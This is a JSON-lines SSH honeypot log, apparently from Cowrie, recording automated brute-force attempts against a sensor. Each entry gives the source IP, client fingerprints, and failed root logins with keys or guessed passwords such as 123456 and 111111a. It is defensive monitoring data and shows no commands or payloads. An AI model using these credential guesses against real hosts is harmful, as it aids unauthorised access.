{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:9f:1b:bc:e5:c6:2a:17:7c:f3:6a:11:e8:42:89:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAun1+yKca5tI84qrILzSnad2A97vdwpwYZOz1wyw9T5HoXmu8tCz0xvEeNM3XfGIui84jAG5l9R8IWKXS/bEkaPEVGPvfBzNMMA7RDLovKhLkssF5ut/5fJG7+uz1bkC/3lX0Vthfpuci9+Pq1as+L0DqfSzIkGnRphb28kMzIu/P3dyp2xwBGGdfw9T4kCTSswPbQR6pJzldt/wPI1NIAG002itHq+FT3yYmK8g+Y7XbpiiycA1PrMkE60ZsnbuyzJut+DqT5giue1PC2wX0Xnor2M+tx53mKbCEIaBpB/zKqp1LU7AU1xwfXetZ7PNul77GZ3LfEXJzpOTfgdUc2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:9f:1b:bc:e5:c6:2a:17:7c:f3:6a:11:e8:42:89:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.713755Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:9f:1b:bc:e5:c6:2a:17:7c:f3:6a:11:e8:42:89:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAun1+yKca5tI84qrILzSnad2A97vdwpwYZOz1wyw9T5HoXmu8tCz0xvEeNM3XfGIui84jAG5l9R8IWKXS/bEkaPEVGPvfBzNMMA7RDLovKhLkssF5ut/5fJG7+uz1bkC/3lX0Vthfpuci9+Pq1as+L0DqfSzIkGnRphb28kMzIu/P3dyp2xwBGGdfw9T4kCTSswPbQR6pJzldt/wPI1NIAG002itHq+FT3yYmK8g+Y7XbpiiycA1PrMkE60ZsnbuyzJut+DqT5giue1PC2wX0Xnor2M+tx53mKbCEIaBpB/zKqp1LU7AU1xwfXetZ7PNul77GZ3LfEXJzpOTfgdUc2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.718584Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:36:75:76:2f:3c:15:1c:2f:84:23:95:ee:52:c0:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeCxfaV38xizvNoWBy/JfLVtPEQ4CMsup1kPZr3iP5yztitbLMIbVHvEAY002FFrxy/biG9zF78E0cGx8N2Ssxl3zJ3K6gxAJGutQ3MzsIPYWqjqNH6v7vNR6/HHiHKWGXyT8wyyReY1pU46ttIel4WMRBfsdzExLqUOS1MKqhaL9jPm2xnhRkVYzP8Rt/VoxQWTK/Ui4Bqoz5WG4TKhJLeZKj6JFfK/2qcjFlUNewp8XtN+6PnL8gEJ9x73bOmMJ0PeIwIcdirO9azgvprlgy/cjGsdQerXHSAsCdvPBylzGtTKVxUT+cEMDVz99z3AyEhTwyN05AuudwqVVhnhcd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:36:75:76:2f:3c:15:1c:2f:84:23:95:ee:52:c0:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.815545Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:36:75:76:2f:3c:15:1c:2f:84:23:95:ee:52:c0:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeCxfaV38xizvNoWBy/JfLVtPEQ4CMsup1kPZr3iP5yztitbLMIbVHvEAY002FFrxy/biG9zF78E0cGx8N2Ssxl3zJ3K6gxAJGutQ3MzsIPYWqjqNH6v7vNR6/HHiHKWGXyT8wyyReY1pU46ttIel4WMRBfsdzExLqUOS1MKqhaL9jPm2xnhRkVYzP8Rt/VoxQWTK/Ui4Bqoz5WG4TKhJLeZKj6JFfK/2qcjFlUNewp8XtN+6PnL8gEJ9x73bOmMJ0PeIwIcdirO9azgvprlgy/cjGsdQerXHSAsCdvPBylzGtTKVxUT+cEMDVz99z3AyEhTwyN05AuudwqVVhnhcd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.819136Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:ff:aa:1c:fa:77:85:39:fb:fb:51:4d:98:4e:eb:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGHKBn9NVpqZzSeCCXyJlbDUAKV53N+AQUQ++oNNDBPzrWGvp1vGQYUNWLEHaYMEaiV4Y6ggdLKyNSBAmXldiOjrtUKfzddLEe5dVFIxJ7wd1KVHF4nf5rjtwxLWzUJjWIS9zL1FQHAq4Pv3ouFj+6gs3AFa/kJ4vXl8aV/sLj+kyolgzt45bgGanB0XW260hOF6OPgIEp35Jqpwbpk8tQAN4nkGJjPmWP4y9gC/MGkdsFRD592hua6gv6y9Z+fJTgd8FWG8vFhbeq3TqlP1GJyusmPdEbW3QGXw6x10BOVTYKPnjw0w27qP2jynyojULSf8JjsQrMuCiFWoTy4Z311en8Kx5V/yT11hi4WzyY6o3Lwr87oOK1xnDPnUnph613O8Q4qOD8EDVn/F6Q8Qpspr1Yznvk8cozAzvpXwRtYCq8dwyLydtMpqkpVe7HwZ9T2NvQV8+5Fd21P7wqKXkLiF0lgDy85OEt1piiiIJgcEIMmrLLw4MDGbGqAcu06zU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:ff:aa:1c:fa:77:85:39:fb:fb:51:4d:98:4e:eb:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.907214Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:ff:aa:1c:fa:77:85:39:fb:fb:51:4d:98:4e:eb:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGHKBn9NVpqZzSeCCXyJlbDUAKV53N+AQUQ++oNNDBPzrWGvp1vGQYUNWLEHaYMEaiV4Y6ggdLKyNSBAmXldiOjrtUKfzddLEe5dVFIxJ7wd1KVHF4nf5rjtwxLWzUJjWIS9zL1FQHAq4Pv3ouFj+6gs3AFa/kJ4vXl8aV/sLj+kyolgzt45bgGanB0XW260hOF6OPgIEp35Jqpwbpk8tQAN4nkGJjPmWP4y9gC/MGkdsFRD592hua6gv6y9Z+fJTgd8FWG8vFhbeq3TqlP1GJyusmPdEbW3QGXw6x10BOVTYKPnjw0w27qP2jynyojULSf8JjsQrMuCiFWoTy4Z311en8Kx5V/yT11hi4WzyY6o3Lwr87oOK1xnDPnUnph613O8Q4qOD8EDVn/F6Q8Qpspr1Yznvk8cozAzvpXwRtYCq8dwyLydtMpqkpVe7HwZ9T2NvQV8+5Fd21P7wqKXkLiF0lgDy85OEt1piiiIJgcEIMmrLLw4MDGbGqAcu06zU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.911010Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.999705Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47792,"dst_ip":"159.203.135.109","dst_port":22,"session":"44d63023ef14","protocol":"ssh","message":"New connection: 80.94.92.184:47792 (159.203.135.109:22) [session: 44d63023ef14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:25.163966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:25.241404Z","src_ip":"80.94.92.184","session":"44d63023ef14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:25.363712Z","src_ip":"80.94.92.184","session":"44d63023ef14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:25.956626Z","src_ip":"80.94.92.184","session":"44d63023ef14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:27.100690Z","src_ip":"80.94.92.184","session":"44d63023ef14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":37732,"dst_ip":"159.203.135.109","dst_port":22,"session":"96737ab96063","protocol":"ssh","message":"New connection: 103.75.183.219:37732 (159.203.135.109:22) [session: 96737ab96063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:27.446866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:27.455674Z","src_ip":"103.75.183.219","session":"96737ab96063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:27.701563Z","src_ip":"103.75.183.219","session":"96737ab96063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678900","message":"login attempt [root/12345678900] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:28.439986Z","src_ip":"103.75.183.219","session":"96737ab96063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:29.689327Z","src_ip":"103.75.183.219","session":"96737ab96063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":59076,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f41e3ce5f8f","protocol":"ssh","message":"New connection: 80.225.252.182:59076 (10.17.0.5:22) [session: 8f41e3ce5f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:50.104575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:50.109637Z","src_ip":"80.225.252.182","session":"8f41e3ce5f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:50.306952Z","src_ip":"80.225.252.182","session":"8f41e3ce5f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2063","message":"login attempt [root/2063] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:51.215997Z","src_ip":"80.225.252.182","session":"8f41e3ce5f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:52.415207Z","src_ip":"80.225.252.182","session":"8f41e3ce5f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":35496,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ce255dea6ec","protocol":"ssh","message":"New connection: 103.77.242.62:35496 (10.17.0.5:22) [session: 5ce255dea6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:19.942825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:19.958523Z","src_ip":"103.77.242.62","session":"5ce255dea6ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:20.199438Z","src_ip":"103.77.242.62","session":"5ce255dea6ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"biblio","message":"login attempt [root/biblio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:20.922405Z","src_ip":"103.77.242.62","session":"5ce255dea6ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:22.165247Z","src_ip":"103.77.242.62","session":"5ce255dea6ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":48948,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc8bcefa97af","protocol":"ssh","message":"New connection: 157.230.190.155:48948 (10.17.0.5:22) [session: dc8bcefa97af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:44.038578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:44.043541Z","src_ip":"157.230.190.155","session":"dc8bcefa97af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:44.048657Z","src_ip":"157.230.190.155","session":"dc8bcefa97af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111a","message":"login attempt [root/111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:44.100653Z","src_ip":"157.230.190.155","session":"dc8bcefa97af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:45.109146Z","src_ip":"157.230.190.155","session":"dc8bcefa97af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":37458,"dst_ip":"10.17.0.5","dst_port":22,"session":"813e1c76d528","protocol":"ssh","message":"New connection: 103.27.238.120:37458 (10.17.0.5:22) [session: 813e1c76d528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:53.172328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:53.179668Z","src_ip":"103.27.238.120","session":"813e1c76d528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:53.434692Z","src_ip":"103.27.238.120","session":"813e1c76d528","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ekmzyf","message":"login attempt [root/ekmzyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:54.199999Z","src_ip":"103.27.238.120","session":"813e1c76d528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:55.457714Z","src_ip":"103.27.238.120","session":"813e1c76d528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":38674,"dst_ip":"10.17.0.5","dst_port":22,"session":"527bb5528099","protocol":"ssh","message":"New connection: 94.159.98.239:38674 (10.17.0.5:22) [session: 527bb5528099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:57.158264Z"}
